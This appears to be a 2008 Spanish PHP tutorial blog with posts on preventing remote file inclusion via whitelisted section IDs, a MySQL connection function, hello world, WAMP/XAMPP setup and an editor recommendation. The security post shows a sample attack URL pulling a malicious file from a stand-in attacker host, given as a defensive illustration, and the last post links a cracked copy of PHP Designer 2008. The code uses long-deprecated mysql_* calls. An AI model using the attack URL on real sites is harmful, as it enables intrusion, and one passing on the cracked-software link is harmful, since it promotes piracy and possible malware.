Seguridad en la Url

22-Abril-2008
En una web es sumamente importante encontrar una metodología de desarrollo que minimice en lo posible los riesgos de seguridad.  Por decir algo, existe la famosa Inclusión Remota (Remote File Inclusion), que se aprovecha del tan “inocente” error que cometen algunos programadores de utilizar como metodo de inclusión en la url “el nombre completo del archivo” (ruta, nombre, extensión), lo que facilita el trabajo a esos ociosos que solo se dedican a fastidiar.  La idea de este artículo no es hablar sobre todas las vulnerabilidades que existen en la url, más bien lo que quiero es mostrar una forma eficiente y práctica de evitarnos muchos de esos problemas.

Comenzamos aclarando que la idea es mostrar en nuestra url solo el nombre del archivo por defecto (index.php), y que los demás serán incluidos desde este, dependiendo de un valor que pasemos por la url. Para cualquier sección de nuestra web, la dirección será index.php, acompañado de un valor que identifique nuestra sección, por ejemplo

<a href=”index.php”>Inicio</a>
<a href=”index.php?s=1″>Sección 1</a>
<a href=”index.php?s=2″>Sección 2</a>
<a href=”index.php?s=3″>Sección 3</a>
<a href=”index.php?s=4″>Sección 4</a>

Ahora, para que nuestro index sepa qué página se va a incluir, simplemente recuperamos el valor de la url con $_GET, y verificamos si hay una dirección que se corresponda a ese valor, y en caso de ser positivo, se incluye el archivo de esa dirección, como a continuación:

<?php
            $sec=$_GET['s'];
            $ruta=”;
            if (empty($sec))
                        $ruta=”portada.php”;
            if ($sec==’1′)
                        $ruta=”seccion1/eventos.php”;
            if ($sec==’2′)
                        $ruta=”seccion2/recursos.php”;
            if ($sec==’3′)
                        $ruta=”seccion3/descargas.php”;
            if ($sec==’4′)
                        $ruta=”seccion4/info.php”;
            if (!empty($ruta))
                        include($ruta);
?>

En la url solo se vería cualquiera de las siguientes:

index.php
index.php?s=1
index.php?s=2
index.php?s=3
index.php?s=4

Un TREMENDO ERROR (que mencioné al principio) es cuando en nuestra página la url es de la siguiente forma:

index.php?s=descargas.php

Si trabajamos la url de esa forma, cualquier vago que ande navegando por la internet puede modificar la url y hacer algo como:

index.php?s=http://sitiohacker.com/archivo_dañino.php

Pudiendo incluir desde otro servidor un archivo con un código maligno…

Debido a esto, lo más seguro es trabajar la URL de la forma index.php?s=1, donde s=1 será sustituida por una dirección específica de la página, y asi un valor de “s” para cada sección de la página.  De esta forma nadie sabrá cual es la dirección de nuestras carpetas y subcarpetas que contienen los scripts de php


Conectarse desde PHP a MySql

12-Abril-2008
La forma ideal para conectarse a MySql desde PHP sería crear una función como la siguiente:
 
<?php
       function bdd()
       {       if (!$link=mysql_connect(”localhost”,”usuario”,”clave”))
               {       echo “Error al intentar conectarse al servidor”;
                        exit();
               }
               if (!mysql_select_db(”bdd”,$link))
               {       echo “Error al seleccionar base de datos”;
                        exit();
               }
               return $link;
       }
?>
 
Esto nos evitaría estar escribiendo tanto código para conectarnos en cada página donde necesitemos extraer registros de la base de datos. La implementeción sería la siguiente:
 
$c=bdd();
 
y listo! tenemos nuestro link para hacer querys. ejemplo:
 
$r=mysql_query(”select nombres,apellidos from personas order by nombres”,$c);

El “Hola Mundo” de PHP

12-Abril-2008
El “hola mundo” de PHP… es símplemente sencillo:
<?php
echo “hola mundo”;
?>

Este pequeño código nos permite apreciar que las instrucciónes de php deben estar dentro de las etiquetas <?php y ?>. Tambien que la instrucción echo nos permite enviar salida de texto al navegador… Y como es típico de los lenguajes familia de C, la mayoría de las instrucciones terminan en punto y coma…. “;”


Php sobre Windows (forma rápida)

12-Abril-2008
La forma más óptima de instalar PHP en windows es haciéndolo todo manualmente, pero como ya he dicho anteriormente, no busco dar UN CURSO COMPLETO, así que vamos a utilizar métodos rápidos, y que nos van a ahorrar un montón de trabajo.
Si tuvieramos que instalar sobre linux, sería tan sencillo como activar los paquetes correspondientes, PERO, sobre windows necesitamos instalar unos cuantos paquetes… como APACHE, MYSQL, PHP, etc… y luego CONFIGURARLOS… y tambien instalar un gestor de bases de datos, como el PHPMYADMIN para mysql…

Para esto yo utilizo instaladores que permiten configurar a fuerza de click y colocar uno que otros datos… Deben hacer centenares de estos por internet, pero aquí les voy a listar los que yo he usado…

APPSERV
http://www.appservnetwork.com/

WAMP
http://www.wampserver.com/en/

XAMPP
http://www.apachefriends.org/en/xampp-windows.html

Debes recordar los datos que tengas que introducir en la instalación, como el nombre del usuario mysql (que por lo general es “root”), y la clave de mysql… ya que las necesitaras para acceder al servidor de base de datos.

Una vez instalado todo, se crea una carpeta específica que funcionará como servidor, para poder ejecutar nuestro PHP… Según recuerdo, en el caso de WAMP y APPSERV sería lo siguiente:

APPSERV:
c:/AppServ/www/

XAMPP:
c:/wamp/www/


PHP Designer 2008

12-Abril-2008

PHP Desginer es un editor de código con reconocimiento para PHP, ideal para aquellas personas amantes de este lenguaje. Esta es una herramienta que no puede faltar en tu colección.

http://rapidshare.com/files/106985249/PHP_Designer_2008_Crackeado.rar